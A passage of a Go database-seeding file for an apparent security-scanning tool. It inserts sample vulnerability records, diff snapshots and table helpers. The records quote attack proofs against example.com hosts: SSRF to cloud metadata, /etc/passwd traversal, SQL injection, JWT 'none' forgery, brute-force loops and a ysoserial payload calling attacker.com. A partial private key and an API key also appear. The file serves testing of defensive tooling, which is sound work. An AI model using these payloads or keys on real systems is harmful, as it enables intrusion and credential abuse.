", RawVulnJSON: `{"template":"xss-reflected","severity":"high","host":"blog.example.com"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Exposed sensitive configuration file", VulnTitle: "Information Disclosure - Config File", VulnDesc: "The .env configuration file is accessible publicly, exposing database credentials and API keys.", VulnPOC: "curl https://dev.example.com/.env", Severity: "high", Confidence: "certain", AssetType: "file", AssetValue: "dev.example.com", Tags: []string{"info-disclosure", "sensitive-data", "misconfiguration"}, DetailHTTPRequest: "GET /.env HTTP/1.1\nHost: dev.example.com", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/plain\n\nDB_PASSWORD=secret123\nAPI_KEY=sk-live-xxx", RawVulnJSON: `{"template":"exposed-env","severity":"high","host":"dev.example.com"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Missing security headers", VulnTitle: "Missing X-Frame-Options Header", VulnDesc: "The application does not set X-Frame-Options header, making it vulnerable to clickjacking attacks.", VulnPOC: "curl -I https://shop.example.com/", Severity: "medium", Confidence: "firm", AssetType: "endpoint", AssetValue: "shop.example.com", Tags: []string{"headers", "clickjacking", "best-practices"}, DetailHTTPRequest: "HEAD / HTTP/1.1\nHost: shop.example.com", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/html\n(no X-Frame-Options header)", RawVulnJSON: `{"template":"missing-x-frame-options","severity":"medium","host":"shop.example.com"}`, LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Outdated TLS version", VulnTitle: "TLS 1.0 Enabled", VulnDesc: "The server supports TLS 1.0 which has known vulnerabilities and should be disabled.", VulnPOC: "nmap --script ssl-enum-ciphers -p 443 legacy.example.com", Severity: "low", Confidence: "certain", AssetType: "service", AssetValue: "legacy.example.com", Tags: []string{"tls", "ssl", "deprecated"}, DetailHTTPRequest: "", DetailHTTPResponse: "", RawVulnJSON: `{"template":"tls-version-check","severity":"low","host":"legacy.example.com","tls_versions":["TLSv1.0","TLSv1.2"]}`, LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, // Additional vulnerabilities { Workspace: "example.com", VulnInfo: "Server-Side Request Forgery in webhook endpoint", VulnTitle: "SSRF - Internal Network Access", VulnDesc: "The webhook endpoint allows fetching arbitrary URLs, enabling access to internal services and cloud metadata.", VulnPOC: "curl -X POST 'https://api.example.com/webhook' -d '{\"url\":\"http://169.254.169.254/latest/meta-data/\"}'", Severity: "critical", Confidence: "firm", AssetType: "endpoint", AssetValue: "api.example.com", Tags: []string{"ssrf", "cloud", "metadata", "owasp-top10"}, DetailHTTPRequest: "POST /webhook HTTP/1.1\nHost: api.example.com\nContent-Type: application/json\n\n{\"url\":\"http://169.254.169.254/latest/meta-data/\"}", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"data\":\"ami-id\\ninstance-id\\nlocal-hostname...\"}", RawVulnJSON: `{"template":"ssrf-cloud-metadata","severity":"critical","host":"api.example.com","internal_access":true}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Path traversal in file download endpoint", VulnTitle: "Directory Traversal - Arbitrary File Read", VulnDesc: "The file download endpoint is vulnerable to path traversal, allowing reading of system files.", VulnPOC: "curl 'https://files.example.com/download?file=../../../etc/passwd'", Severity: "high", Confidence: "certain", AssetType: "endpoint", AssetValue: "files.example.com", Tags: []string{"lfi", "path-traversal", "file-read"}, DetailHTTPRequest: "GET /download?file=../../../etc/passwd HTTP/1.1\nHost: files.example.com", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: text/plain\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...", RawVulnJSON: `{"template":"path-traversal","severity":"high","host":"files.example.com","file_accessed":"/etc/passwd"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Insecure deserialization in session handling", VulnTitle: "Java Deserialization RCE", VulnDesc: "The application deserializes untrusted data in session cookies, allowing remote code execution.", VulnPOC: "java -jar ysoserial.jar CommonsCollections5 'curl attacker.com/pwned' | base64", Severity: "critical", Confidence: "tentative", AssetType: "endpoint", AssetValue: "app.example.com", Tags: []string{"deserialization", "rce", "java", "owasp-top10"}, DetailHTTPRequest: "GET /dashboard HTTP/1.1\nHost: app.example.com\nCookie: session=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA...", DetailHTTPResponse: "HTTP/1.1 500 Internal Server Error\n\nException in thread \"main\" java.lang.Runtime...", RawVulnJSON: `{"template":"java-deserialization","severity":"critical","host":"app.example.com","gadget":"CommonsCollections5"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "CORS misconfiguration allows credential theft", VulnTitle: "CORS - Arbitrary Origin with Credentials", VulnDesc: "The API reflects arbitrary origins in CORS headers and allows credentials, enabling cross-origin data theft.", VulnPOC: "curl -H 'Origin: https://evil.com' https://api.example.com/user -I", Severity: "medium", Confidence: "firm", AssetType: "endpoint", AssetValue: "api.example.com", Tags: []string{"cors", "misconfiguration", "credentials"}, DetailHTTPRequest: "GET /user HTTP/1.1\nHost: api.example.com\nOrigin: https://evil.com", DetailHTTPResponse: "HTTP/1.1 200 OK\nAccess-Control-Allow-Origin: https://evil.com\nAccess-Control-Allow-Credentials: true", RawVulnJSON: `{"template":"cors-misconfiguration","severity":"medium","host":"api.example.com","reflected_origin":"evil.com"}`, LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "example.com", VulnInfo: "Open redirect in OAuth callback", VulnTitle: "Open Redirect - OAuth Flow", VulnDesc: "The OAuth callback endpoint does not validate the redirect_uri parameter, allowing phishing attacks.", VulnPOC: "https://auth.example.com/oauth/callback?redirect_uri=https://evil.com/steal", Severity: "medium", Confidence: "tentative", AssetType: "endpoint", AssetValue: "auth.example.com", Tags: []string{"open-redirect", "oauth", "phishing"}, DetailHTTPRequest: "GET /oauth/callback?redirect_uri=https://evil.com/steal HTTP/1.1\nHost: auth.example.com", DetailHTTPResponse: "HTTP/1.1 302 Found\nLocation: https://evil.com/steal?code=abc123", RawVulnJSON: `{"template":"open-redirect","severity":"medium","host":"auth.example.com","redirect_to":"evil.com"}`, LastSeenAt: oneDayAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "api.example.com", VulnInfo: "GraphQL introspection enabled in production", VulnTitle: "GraphQL Introspection Enabled", VulnDesc: "GraphQL introspection is enabled, exposing the complete API schema including sensitive fields.", VulnPOC: "curl -X POST 'https://api.example.com/graphql' -H 'Content-Type: application/json' -d '{\"query\":\"{__schema{types{name}}}\"}' ", Severity: "low", Confidence: "certain", AssetType: "endpoint", AssetValue: "api.example.com", Tags: []string{"graphql", "introspection", "info-disclosure"}, DetailHTTPRequest: "POST /graphql HTTP/1.1\nHost: api.example.com\nContent-Type: application/json\n\n{\"query\":\"{__schema{types{name}}}\"}", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"data\":{\"__schema\":{\"types\":[{\"name\":\"User\"},{\"name\":\"AdminSettings\"}...]}}}", RawVulnJSON: `{"template":"graphql-introspection","severity":"low","host":"api.example.com","types_exposed":45}`, LastSeenAt: threeDaysAgo, CreatedAt: oneHourAgo, UpdatedAt: oneHourAgo, }, { Workspace: "api.example.com", VulnInfo: "JWT algorithm confusion vulnerability", VulnTitle: "JWT None Algorithm Bypass", VulnDesc: "The JWT validation accepts 'none' algorithm, allowing token forgery without signature verification.", VulnPOC: "echo '{\"alg\":\"none\",\"typ\":\"JWT\"}' | base64 | tr -d '='", Severity: "critical", Confidence: "manual review required", AssetType: "endpoint", AssetValue: "api.example.com", Tags: []string{"jwt", "authentication", "bypass"}, DetailHTTPRequest: "GET /api/admin HTTP/1.1\nHost: api.example.com\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ.", DetailHTTPResponse: "HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"admin_data\":\"sensitive information\"}", RawVulnJSON: `{"template":"jwt-none-algorithm","severity":"critical","host":"api.example.com","algorithm":"none"}`, LastSeenAt: twoHoursAgo, CreatedAt: twoHoursAgo, UpdatedAt: twoHoursAgo, }, // ============================================================ // DIFF DEMONSTRATION VULNERABILITIES // These vulnerabilities demonstrate the diff functionality // ============================================================ // --- NEWLY DISCOVERED VULNERABILITIES (found recently) --- { Workspace: "example.com", VulnInfo: "Newly discovered XSS in v3 portal", VulnTitle: "Stored XSS - v3 Comment Section", VulnDesc: "The new v3 portal comment section stores user input without sanitization, leading to persistent XSS.", VulnPOC: "curl -X POST 'https://v3.example.com/api/comments' -d '{\"body\":\"\"}'", Severity: "high", Confidence: "certain", AssetType: "endpoint", AssetValue: "v3.example.com", Tags: []string{"xss", "stored", "new-finding"}, DetailHTTPRequest: "POST /api/comments HTTP/1.1\nHost: v3.example.com\nContent-Type: application/json\n\n{\"body\":\"\"}", DetailHTTPResponse: "HTTP/1.1 201 Created\nContent-Type: application/json\n\n{\"id\":123,\"body\":\"\"}", RawVulnJSON: `{"template":"stored-xss","severity":"high","host":"v3.example.com"}`, LastSeenAt: thirtyMinsAgo, CreatedAt: thirtyMinsAgo, // Just discovered UpdatedAt: thirtyMinsAgo, }, { Workspace: "example.com", VulnInfo: "New API endpoint lacks rate limiting", VulnTitle: "Missing Rate Limiting - new-api", VulnDesc: "The newly deployed API endpoint does not implement rate limiting, enabling brute force attacks.", VulnPOC: "for i in {1..1000}; do curl 'https://new-api.example.com/login' -d 'user=admin&pass=test$i'; done", Severity: "medium", Confidence: "firm", AssetType: "endpoint", AssetValue: "new-api.example.com", Tags: []string{"rate-limiting", "brute-force", "new-finding"}, DetailHTTPRequest: "POST /login HTTP/1.1\nHost: new-api.example.com", DetailHTTPResponse: "HTTP/1.1 401 Unauthorized (no rate limit headers)", RawVulnJSON: `{"template":"missing-rate-limit","severity":"medium","host":"new-api.example.com"}`, LastSeenAt: oneHourAgo, CreatedAt: oneHourAgo, // Just discovered UpdatedAt: oneHourAgo, }, // --- UPDATED/CHANGED VULNERABILITIES (severity or status changed) --- { Workspace: "example.com", VulnInfo: "Previously low-severity issue escalated", VulnTitle: "Information Disclosure - Upgraded to Medium", VulnDesc: "Previously considered low risk, but new exploit chain discovered that increases impact. Debug endpoints expose internal configuration.", VulnPOC: "curl 'https://dashboard.example.com/debug/config'", Severity: "medium", // Upgraded from low Confidence: "certain", AssetType: "endpoint", AssetValue: "dashboard.example.com", Tags: []string{"info-disclosure", "debug", "upgraded"}, DetailHTTPRequest: "GET /debug/config HTTP/1.1\nHost: dashboard.example.com", DetailHTTPResponse: "HTTP/1.1 200 OK\n\n{\"db_host\":\"internal-db.local\",\"api_keys\":{\"stripe\":\"sk_live_...\"}}", RawVulnJSON: `{"template":"debug-endpoint","severity":"medium","host":"dashboard.example.com"}`, LastSeenAt: oneHourAgo, CreatedAt: twoWeeksAgo, // Found 2 weeks ago UpdatedAt: oneHourAgo, // Severity upgraded today }, { Workspace: "example.com", VulnInfo: "Auth bypass partially remediated", VulnTitle: "Partial Fix - Auth Bypass Still Exploitable", VulnDesc: "The authentication bypass was partially patched but alternative vectors remain. Updated POC after vendor patch.", VulnPOC: "curl -H 'X-Original-URL: /admin' 'https://portal.example.com/'", Severity: "high", Confidence: "firm", AssetType: "endpoint", AssetValue: "portal.example.com", Tags: []string{"auth-bypass", "partial-fix", "retest"}, DetailHTTPRequest: "GET / HTTP/1.1\nHost: portal.example.com\nX-Original-URL: /admin", DetailHTTPResponse: "HTTP/1.1 200 OK\n\n

Admin Panel

", RawVulnJSON: `{"template":"auth-bypass-variant","severity":"high","host":"portal.example.com"}`, LastSeenAt: twoHoursAgo, CreatedAt: oneWeekAgo, // Original finding UpdatedAt: twoHoursAgo, // Updated after retest }, // --- RESOLVED/STALE VULNERABILITIES (not seen in recent scans) --- { Workspace: "example.com", VulnInfo: "Vulnerability was fixed by vendor", VulnTitle: "SQLi Fixed - No Longer Reproducible", VulnDesc: "The SQL injection vulnerability in the search function has been patched. Last verified fix two weeks ago.", VulnPOC: "curl 'https://old-portal.example.com/search?q=1%27+OR+1=1--'", Severity: "critical", Confidence: "historical", AssetType: "endpoint", AssetValue: "old-portal.example.com", Tags: []string{"sqli", "fixed", "historical"}, DetailHTTPRequest: "GET /search?q=1'+OR+1=1-- HTTP/1.1\nHost: old-portal.example.com", DetailHTTPResponse: "HTTP/1.1 400 Bad Request (now blocked)", RawVulnJSON: `{"template":"sqli-fixed","severity":"critical","host":"old-portal.example.com","status":"fixed"}`, LastSeenAt: twoWeeksAgo, // Not seen since fix verified CreatedAt: oneMonthAgo, UpdatedAt: twoWeeksAgo, }, { Workspace: "example.com", VulnInfo: "Asset decommissioned - vuln no longer applicable", VulnTitle: "Deprecated API - IDOR No Longer Relevant", VulnDesc: "The IDOR vulnerability is no longer relevant as the deprecated-api service has been fully decommissioned.", VulnPOC: "curl 'https://deprecated-api.example.com/users/1'", Severity: "high", Confidence: "historical", AssetType: "endpoint", AssetValue: "deprecated-api.example.com", Tags: []string{"idor", "decommissioned", "historical"}, DetailHTTPRequest: "GET /users/1 HTTP/1.1\nHost: deprecated-api.example.com", DetailHTTPResponse: "HTTP/1.1 503 Service Unavailable", RawVulnJSON: `{"template":"idor-historical","severity":"high","host":"deprecated-api.example.com","status":"decommissioned"}`, LastSeenAt: twoWeeksAgo, // Service taken down CreatedAt: oneMonthAgo, UpdatedAt: twoWeeksAgo, }, // ============================================================ // SARIF-SOURCED VULNERABILITIES (from static analysis tools) // Demonstrates asset_type="repo" for code-level findings // ============================================================ // --- Semgrep findings (5 results) --- { Workspace: "staging.test.local", VulnInfo: "dockerfile.security.missing-user.missing-user", VulnTitle: "dockerfile.security.missing-user.missing-user", VulnDesc: "By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container.", VulnPOC: `CMD ["bash", "/app/entrypoint.sh"]`, Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "Dockerfile", Tags: []string{"CWE-250: Execution with Unnecessary Privileges", "OWASP-A04:2021 - Insecure Design", "semgrep"}, RawVulnJSON: `{"ruleId":"dockerfile.security.missing-user.missing-user","message":{"text":"By not specifying a USER, a program in the container may run as root."},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"Dockerfile"},"region":{"startLine":13}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: oneDayAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls", VulnTitle: "javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls", VulnDesc: "If TLS is disabled on server side, Sequelize establishes connection without TLS and no error will be thrown. To prevent MITM attack, TLS must be enforced by Sequelize.", VulnPOC: "module.exports = {\n username: process.env.MYSQL_USER,\n password: process.env.MYSQL_PASSWORD,\n}", Severity: "medium", Confidence: "Firm", AssetType: "repo", AssetValue: "config/db.js", Tags: []string{"CWE-319: Cleartext Transmission of Sensitive Information", "OWASP-A02:2021 - Cryptographic Failures", "semgrep"}, RawVulnJSON: `{"ruleId":"javascript.sequelize.security.audit.sequelize-enforce-tls.sequelize-enforce-tls","message":{"text":"TLS not enforced in Sequelize connection"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"config/db.js"},"region":{"startLine":1}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: oneDayAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "javascript.express.db.sequelize-express.sequelize-express", VulnTitle: "javascript.express.db.sequelize-express.sequelize-express", VulnDesc: "Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. Use parameterized queries where SQL commands and user data are strictly separated.", VulnPOC: "\tdb.sequelize.query(query, {", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "core/appHandler.js", Tags: []string{"CWE-89: SQL Injection", "OWASP-A03:2021 - Injection", "semgrep"}, RawVulnJSON: `{"ruleId":"javascript.express.db.sequelize-express.sequelize-express","message":{"text":"Untrusted input used in database query"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":11}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: oneDayAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection", VulnTitle: "javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection", VulnDesc: "Detected a sequelize statement tainted by user-input. This could lead to SQL injection if the variable is user-controlled and not properly sanitized.", VulnPOC: "\tdb.sequelize.query(query, {", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "core/appHandler.js", Tags: []string{"CWE-89: SQL Injection", "OWASP-A03:2021 - Injection", "semgrep"}, RawVulnJSON: `{"ruleId":"javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection","message":{"text":"Sequelize statement tainted by user input"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":11}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: oneDayAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "javascript.express.express-child-process.express-child-process", VulnTitle: "javascript.express.express-child-process.express-child-process", VulnDesc: "Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability.", VulnPOC: "\texec('ping -c 2 ' + req.body.address, function (err, stdout, stderr) {", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "core/appHandler.js", Tags: []string{"CWE-78: OS Command Injection", "OWASP-A03:2021 - Injection", "semgrep"}, RawVulnJSON: `{"ruleId":"javascript.express.express-child-process.express-child-process","message":{"text":"Untrusted input injected into command execution"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"core/appHandler.js"},"region":{"startLine":39}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: oneDayAgo, UpdatedAt: oneHourAgo, }, // --- Trivy findings (2 results — all available from trivy-fs-report.sarif) --- { Workspace: "staging.test.local", VulnInfo: "CVE-2023-30861", VulnTitle: "LanguageSpecificPackageVulnerability", VulnDesc: "Package: flask\nInstalled Version: 2.2.2\nVulnerability CVE-2023-30861\nSeverity: HIGH\nFixed Version: 2.3.2, 2.2.5\nFlask session cookie may be disclosed due to missing Vary: Cookie header.", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "requirements.txt", Tags: []string{"CVE-2023-30861", "flask", "trivy"}, RawVulnJSON: `{"ruleId":"CVE-2023-30861","level":"error","message":{"text":"Package: flask, Installed Version: 2.2.2, Fixed Version: 2.3.2, 2.2.5"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"requirements.txt"},"region":{"startLine":2}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: threeDaysAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "jwt-token", VulnTitle: "Secret", VulnDesc: "JWT token found in openapi specification file. Secrets should not be committed to source code repositories.", Severity: "medium", Confidence: "Firm", AssetType: "repo", AssetValue: "openapi_specs/openapi3.yml", Tags: []string{"jwt", "secret", "trivy"}, RawVulnJSON: `{"ruleId":"jwt-token","level":"warning","message":{"text":"Secret JWT token found in openapi3.yml"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"openapi_specs/openapi3.yml"},"region":{"startLine":193}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: threeDaysAgo, UpdatedAt: oneHourAgo, }, // --- Kingfisher findings (5 results) --- { Workspace: "staging.test.local", VulnInfo: "Contains Private Key", VulnTitle: "Contains Private Key", VulnDesc: "RSA private key found embedded in source code. Private keys should never be committed to repositories.", VulnPOC: "-----BEGIN RSA PRIVATE KEY-----\\r\\nMIICXAIBAAKBgQDNwqLEe9wgTXCbC7+RPdDbBbeqjdbs4kOPOIGzqLpXvJXlxxW8i", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "./lib/insecurity.ts", Tags: []string{"private-key", "secret", "kingfisher"}, RawVulnJSON: `{"ruleId":"Contains Private Key","level":"error","message":{"text":"Rule Contains Private Key matched ./lib/insecurity.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./lib/insecurity.ts"},"region":{"startLine":23}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: fiveDaysAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "PEM-Encoded Private Key", VulnTitle: "PEM-Encoded Private Key", VulnDesc: "PEM-encoded RSA private key detected in source code. Rotate the key and remove it from the repository.", VulnPOC: "\\r\\nMIICXAIBAAKBgQDNwqLEe9wgTXCbC7+RPdDbBbeqjdbs4kOPOIGzqLpXvJXlxxW8iMz0EaM4BKUqYsIa+ndv3NAn2RxCd5ub", Severity: "high", Confidence: "Firm", AssetType: "repo", AssetValue: "./lib/insecurity.ts", Tags: []string{"pem", "private-key", "secret", "kingfisher"}, RawVulnJSON: `{"ruleId":"PEM-Encoded Private Key","level":"error","message":{"text":"Rule PEM-Encoded Private Key matched ./lib/insecurity.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./lib/insecurity.ts"},"region":{"startLine":23}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: fiveDaysAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "Alchemy API Key", VulnTitle: "Alchemy API Key", VulnDesc: "Alchemy API key detected in source code. API keys should be stored in environment variables or secret managers.", VulnPOC: "FZDapFZSs1l6yhHW4VnQqsi18qSd-3GJ", Severity: "medium", Confidence: "Firm", AssetType: "repo", AssetValue: "./routes/web3Wallet.ts", Tags: []string{"api-key", "alchemy", "secret", "kingfisher"}, RawVulnJSON: `{"ruleId":"Alchemy API Key","level":"warning","message":{"text":"Rule Alchemy API Key matched ./routes/web3Wallet.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./routes/web3Wallet.ts"},"region":{"startLine":18}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: fiveDaysAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "JSON Web Token (base64url-encoded)", VulnTitle: "JSON Web Token (base64url-encoded)", VulnDesc: "Hard-coded JWT token found in test file. Even in tests, avoid committing real tokens; use mocks or environment variables.", VulnPOC: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MX19", Severity: "medium", Confidence: "Firm", AssetType: "repo", AssetValue: "./test/api/userApiSpec.ts", Tags: []string{"jwt", "hardcoded-token", "kingfisher"}, RawVulnJSON: `{"ruleId":"JSON Web Token (base64url-encoded)","level":"warning","message":{"text":"Rule JSON Web Token (base64url-encoded) matched ./test/api/userApiSpec.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./test/api/userApiSpec.ts"},"region":{"startLine":302}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: fiveDaysAgo, UpdatedAt: oneHourAgo, }, { Workspace: "staging.test.local", VulnInfo: "JSON Web Token (base64url-encoded)", VulnTitle: "JSON Web Token (base64url-encoded)", VulnDesc: "Hard-coded JWT token found in Cypress E2E test for forged JWT testing scenario.", VulnPOC: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifX0", Severity: "medium", Confidence: "Firm", AssetType: "repo", AssetValue: "./test/cypress/e2e/forgedJwt.spec.ts", Tags: []string{"jwt", "hardcoded-token", "kingfisher"}, RawVulnJSON: `{"ruleId":"JSON Web Token (base64url-encoded)","level":"warning","message":{"text":"Rule JSON Web Token (base64url-encoded) matched ./test/cypress/e2e/forgedJwt.spec.ts"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"./test/cypress/e2e/forgedJwt.spec.ts"},"region":{"startLine":22}}}]}`, LastSeenAt: oneHourAgo, CreatedAt: fiveDaysAgo, UpdatedAt: oneHourAgo, }, } for _, vuln := range vulnerabilities { if _, err := db.NewInsert().Model(&vuln).Exec(ctx); err != nil { return fmt.Errorf("failed to insert vulnerability: %w", err) } } // Seed AssetDiffSnapshots - showing changes detected over time assetDiffs := []AssetDiffSnapshot{ { WorkspaceName: "example.com", FromTime: oneWeekAgo, ToTime: threeDaysAgo, TotalAdded: 12, TotalRemoved: 3, TotalChanged: 5, DiffData: `{"added":[{"asset_value":"new-api.example.com","host_ip":"192.168.1.50"},{"asset_value":"staging.example.com","host_ip":"192.168.1.51"}],"removed":[{"asset_value":"old-portal.example.com"}],"changed":[{"asset_value":"api.example.com","changes":{"status_code":{"from":200,"to":301}}}]}`, CreatedAt: threeDaysAgo, }, { WorkspaceName: "example.com", FromTime: threeDaysAgo, ToTime: oneDayAgo, TotalAdded: 5, TotalRemoved: 1, TotalChanged: 2, DiffData: `{"added":[{"asset_value":"cdn.example.com","host_ip":"192.168.1.60"}],"removed":[],"changed":[{"asset_value":"blog.example.com","changes":{"title":{"from":"Blog","to":"Example Blog"}}}]}`, CreatedAt: oneDayAgo, }, { WorkspaceName: "testsite.io", FromTime: twoWeeksAgo, ToTime: oneWeekAgo, TotalAdded: 8, TotalRemoved: 0, TotalChanged: 3, DiffData: `{"added":[{"asset_value":"app.testsite.io","host_ip":"10.0.0.20"},{"asset_value":"docs.testsite.io","host_ip":"10.0.0.21"}],"removed":[],"changed":[]}`, CreatedAt: oneWeekAgo, }, } for _, diff := range assetDiffs { if _, err := db.NewInsert().Model(&diff).Exec(ctx); err != nil { return fmt.Errorf("failed to insert asset diff: %w", err) } } // Seed VulnDiffSnapshots - showing vulnerability changes over time vulnDiffs := []VulnDiffSnapshot{ { WorkspaceName: "example.com", FromTime: oneWeekAgo, ToTime: threeDaysAgo, TotalAdded: 4, TotalRemoved: 2, TotalChanged: 1, DiffData: `{"added":[{"vuln_title":"SQL Injection - Authentication Bypass","severity":"critical","asset_value":"api.example.com"},{"vuln_title":"Reflected XSS - Search Parameter","severity":"high","asset_value":"blog.example.com"}],"removed":[{"vuln_title":"Outdated jQuery Version","severity":"low"}],"changed":[{"vuln_title":"Missing X-Frame-Options Header","changes":{"confidence":{"from":"tentative","to":"firm"}}}]}`, CreatedAt: threeDaysAgo, }, { WorkspaceName: "example.com", FromTime: threeDaysAgo, ToTime: oneDayAgo, TotalAdded: 2, TotalRemoved: 1, TotalChanged: 0, DiffData: `{"added":[{"vuln_title":"Information Disclosure - Config File","severity":"high","asset_value":"dev.example.com"}],"removed":[{"vuln_title":"TLS 1.0 Enabled","severity":"low","asset_value":"legacy.example.com"}],"changed":[]}`, CreatedAt: oneDayAgo, }, { WorkspaceName: "testsite.io", FromTime: twoWeeksAgo, ToTime: oneWeekAgo, TotalAdded: 3, TotalRemoved: 0, TotalChanged: 0, DiffData: `{"added":[{"vuln_title":"Open Redirect","severity":"medium","asset_value":"auth.testsite.io"},{"vuln_title":"CORS Misconfiguration","severity":"medium","asset_value":"api.testsite.io"}],"removed":[],"changed":[]}`, CreatedAt: oneWeekAgo, }, } for _, diff := range vulnDiffs { if _, err := db.NewInsert().Model(&diff).Exec(ctx); err != nil { return fmt.Errorf("failed to insert vuln diff: %w", err) } } return nil } // CleanDatabase removes all data from all tables func CleanDatabase(ctx context.Context) error { if db == nil { return fmt.Errorf("database not connected") } // Delete in order respecting foreign key constraints tables := []interface{}{ (*StepResult)(nil), (*Artifact)(nil), (*EventLog)(nil), (*Run)(nil), (*Asset)(nil), (*Schedule)(nil), (*Workspace)(nil), (*Vulnerability)(nil), (*WorkflowMeta)(nil), (*AssetDiffSnapshot)(nil), (*VulnDiffSnapshot)(nil), } for _, table := range tables { if _, err := db.NewDelete().Model(table).Where("1=1").Exec(ctx); err != nil { return fmt.Errorf("failed to clean table: %w", err) } } return nil } // ClearTable removes all data from a specific table func ClearTable(ctx context.Context, tableName string) error { if db == nil { return fmt.Errorf("database not connected") } // Map table names to models tableModels := map[string]interface{}{ "runs": (*Run)(nil), "step_results": (*StepResult)(nil), "artifacts": (*Artifact)(nil), "assets": (*Asset)(nil), "event_logs": (*EventLog)(nil), "schedules": (*Schedule)(nil), "workspaces": (*Workspace)(nil), "vulnerabilities": (*Vulnerability)(nil), "asset_diffs": (*AssetDiffSnapshot)(nil), "vuln_diffs": (*VulnDiffSnapshot)(nil), } model, ok := tableModels[tableName] if !ok { return fmt.Errorf("unknown table: %s (valid tables: %s)", tableName, strings.Join(ValidTableNames(), ", ")) } if _, err := db.NewDelete().Model(model).Where("1=1").Exec(ctx); err != nil { return fmt.Errorf("failed to clear table %s: %w", tableName, err) } return nil } // timePtr is a helper to create a pointer to a time.Time value func timePtr(t time.Time) *time.Time { return &t } // TableInfo holds information about a database table type TableInfo struct { Name string `json:"name"` RowCount int `json:"row_count"` } // TableRecords holds paginated records from a table type TableRecords struct { Table string TotalCount int Offset int Limit int Records interface{} } // ValidTableNames returns the list of valid table names func ValidTableNames() []string { return []string{"runs", "step_results", "artifacts", "assets", "event_logs", "schedules", "workspaces", "vulnerabilities", "asset_diffs", "vuln_diffs"} } // ListTables returns information about all database tables func ListTables(ctx context.Context) ([]TableInfo, error) { if db == nil { return nil, fmt.Errorf("database not connected") } tables := []struct 